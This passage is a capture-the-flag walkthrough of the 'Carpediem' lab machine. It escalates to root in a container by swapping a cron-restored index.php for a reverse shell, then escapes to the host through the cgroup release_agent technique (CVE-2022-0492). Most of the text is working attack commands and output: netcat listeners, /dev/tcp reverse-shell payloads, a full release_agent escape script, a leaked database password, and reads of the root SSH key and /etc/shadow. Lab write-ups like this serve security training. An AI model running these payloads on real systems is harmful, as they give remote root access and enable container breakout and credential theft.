➜  carpediem python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [14/Sep/2022 09:03:27] "GET / HTTP/1.1" 200 

➜  carpediem nc -lvnp 4488
listening on [any] 4488 ...
connect to [] from (UNKNOWN) [] 58916
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell

Step 3

Before uploading lets have a look around if we find anything sensitive.

New MySQL credentials:

www-data@90c7f522b842:/var/www/html/backdrop$ cat settings.php
[... snip ...]
$database = 'mysql://backdrop:34tB8RGtgtJjZ2Tz@localhost/backdrop';

A script owned by root that we have execute privileges over:

www-data@90c7f522b842:/opt$ ls -al
total 12
drwxr-xr-x 1 root root 4096 Jun 23 09:50 .
drwxr-xr-x 1 root root 4096 Sep 14 01:10 ..
-rwxr-xr-x 1 root root  510 Jun 23 09:49

www-data@90c7f522b842:/opt$ cat
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
status=$(php /var/www/html/backdrop/core/scripts/ --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
	#something went wrong.  restoring from backup.
	cp /root/index.php /var/www/html/backdrop/index.php

The comments in the scripts do a good job explaining what it does, every few seconds it will run the script to make sure that backdrop.carpediem.htb is alive and running. If something is wrong, it will copy a backup of index.php from /root, to restore the site.

We can confirm if this script is executed by root or www-data using pspy64:

www-data@90c7f522b842:/dev/shm$ wget
www-data@90c7f522b842:/dev/shm$ chmod +x pspy64
www-data@90c7f522b842:/dev/shm$ cp pspy64 /tmp
www-data@90c7f522b842:/dev/shm$ /tmp/pspy64
[... snip ...]
2022/09/14 01:25:17 CMD: UID=0    PID=54872  | /bin/bash /opt/

It’s ran as root. We should be able to get a revere shell as root then by simply replacing index.php with a reverse shell..

www-data@90c7f522b842:/dev/shm$ cp rev.php /var/www/html/backdrop/index.php

➜  carpediem nc -lvnp 4499                              
listening on [any] 4499 ...
connect to [] from (UNKNOWN) [] 41614
Linux 90c7f522b842 5.4.0-97-generic #110-Ubuntu SMP Thu Jan 13 18:22:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 01:30:16 up 1 day, 23:13,  0 users,  load average: 0.03, 0.09, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: cant access tty; job control turned off

# id && hostname
uid=0(root) gid=0(root) groups=0(root)

Step 4

Trying to escape this container we can upload to get some quick information:

# wget
# chmod +x
# bash
[... snip ...]
[+] Dangerous Capabilities .. Yes
Current: cap_dac_override
Bounding set =cap_dac_override
Current IAB: !cap_dac_read_search,!cap_sys_module,!cap_sys_ptrace,!cap_sys_admin
[+] Privileged Mode ......... Unknown

[+] Docker sock mounted ....... No
[+] Other mounts .............. No

To verify if we’re in a privileged mode or not, we can simply ls -al /dev, if privileged all devices should be accessible and we can escape by mounting the host disk. If not privileged only a limited amount of devices are shown.

# ls -al /dev	
total 4
drwxr-xr-x 5 root root    360 Sep 12 02:16 .
drwxr-xr-x 1 root root   4096 Sep 14 02:15 ..
crw--w---- 1 root tty  136, 0 Sep 12 02:16 console
lrwxrwxrwx 1 root root     11 Sep 12 02:16 core -> /proc/kcore
lrwxrwxrwx 1 root root     13 Sep 12 02:16 fd -> /proc/self/fd
crw-rw-rw- 1 root root   1, 7 Sep 12 02:16 full
drwxrwxrwt 2 root root     40 Sep 12 02:16 mqueue
crw-rw-rw- 1 root root   1, 3 Sep 12 02:16 null
lrwxrwxrwx 1 root root      8 Sep 12 02:16 ptmx -> pts/ptmx
drwxr-xr-x 2 root root      0 Sep 12 02:16 pts
crw-rw-rw- 1 root root   1, 8 Sep 12 02:16 random
drwxrwxrwt 3 root root    120 Sep 14 01:46 shm
lrwxrwxrwx 1 root root     15 Sep 12 02:16 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root     15 Sep 12 02:16 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root     15 Sep 12 02:16 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root root   5, 0 Sep 12 02:16 tty
crw-rw-rw- 1 root root   1, 9 Sep 12 02:16 urandom
crw-rw-rw- 1 root root   1, 5 Sep 12 02:16 zero

We’re missing a lot of devices, so we’re not privileged.

Looking on the capabilities, we only have dac_override that stands out, this allows us to write to any file, something that is expected when root so we can skip this.

Googling around for further escapes I come across this PDF from blackhat where release_agent escape is mentioned on page 57. I’ve never heard of this before, and looking on the commands we can see we’ll not be able to run it as we’re not allowed to use mount:

# mount -t cgroup -o rdma cgroup /tmp/esc
mount: /tmp/esc: permission denied.

Running confirms that this should be a breakout vector, so maybe I need to dig a bit deeper.

# wget
# chmod +x
# bash 

══╣ Breakout via mounts
═╣ release_agent breakout 1........ Yes

Steal the script from HackTricks, upload it and run doesn’t work either..

➜  carpediem cat 
# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

# wget
# chmod +x
# bash
mkdir: cannot create directory '/sys/fs/cgroup/rdma/w': Read-only file system line 11: /sys/fs/cgroup/rdma/w/notify_on_release: No such file or directory line 20: /sys/fs/cgroup/rdma/release_agent: Read-only file system
sh: 1: cannot create /sys/fs/cgroup/rdma/w/cgroup.procs: Directory nonexistent

After a bit more investigating I come across this post about CVE-2022-0492 explaining how we can create new user namespace and cgroup namespace using unshare -UrmC bash, and then be able to mount the cgroupfs.

”.. in the container we execute unshare to create new user namespace and cgroup namespace. Then we can mount the cgroupfs and write our data to release_agent.”

So lets jump back to the first escape from Blackhat, this time using unshare to create new namespaces.

# wget
# chmod +x
# cat
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
echo "bash -i >& /dev/tcp/ 0>&1" > /
chmod +x /
echo $pop > /tmp/esc/release_agent
sleep 5 && echo 0>/tmp/esc/w/cgroup.procs &

# unshare -UrmC bash

Nothing happens.. I really don’t understand the $overlay part, echoing it returns nothing. Investigating this further we find another, very similar, PoC:

With some trial-and-error I got the escape working, for me the issue was my payload - so make sure to test it before incorporating it to a exploit.

# unshare -UrmC bash
chmod +x

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

➜  carpediem nc -lvnp 4400            
listening on [any] 4400 ...
connect to [] from (UNKNOWN) [] 56780
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@carpediem:/# id && hostname
uid=0(root) gid=0(root) groups=0(root)

root@carpediem:/# cat /root/root.txt

root@carpediem:/# cat /root/.ssh/id_rsa

root@carpediem:/# cat /etc/shadow